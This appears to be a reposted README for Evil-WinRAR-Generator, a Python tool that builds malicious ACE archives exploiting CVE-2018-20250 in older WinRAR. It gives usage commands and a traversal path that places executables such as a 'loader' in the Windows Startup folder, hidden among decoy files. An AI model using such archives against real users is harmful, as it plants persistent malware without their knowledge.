Evil-WinRAR-Gen

[Fi8sVrs]

Evil-WinRAR-Generator

 

Generator of malicious Ace files for WinRAR < 5.70 beta 1

Vulnerability by research.checkpoint.com

 

Developed by @manulqwerty - IronHackers.

 

Usage

Help:

./evilWinRAR.py -h

Generate a malicius archive:

Quote

Rar filename: evil.rar

Evil path: C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

Evil files: calc.exe , l04d3r.exe

Good files: hello.txt , cats.jpeg

 

./evilWinRAR.py -o evil.rar -e calc.exe 

Evil-WinRAR-Generator works out of the box with Python version 3.x on any platform.

 

Proof of Concept (CVE-2018-20250)

 

 

 

Screenshots

 

 

Credits

• https://github.com/droe/acefile
• https://github.com/WyAtu/CVE-2018-20250

 

Source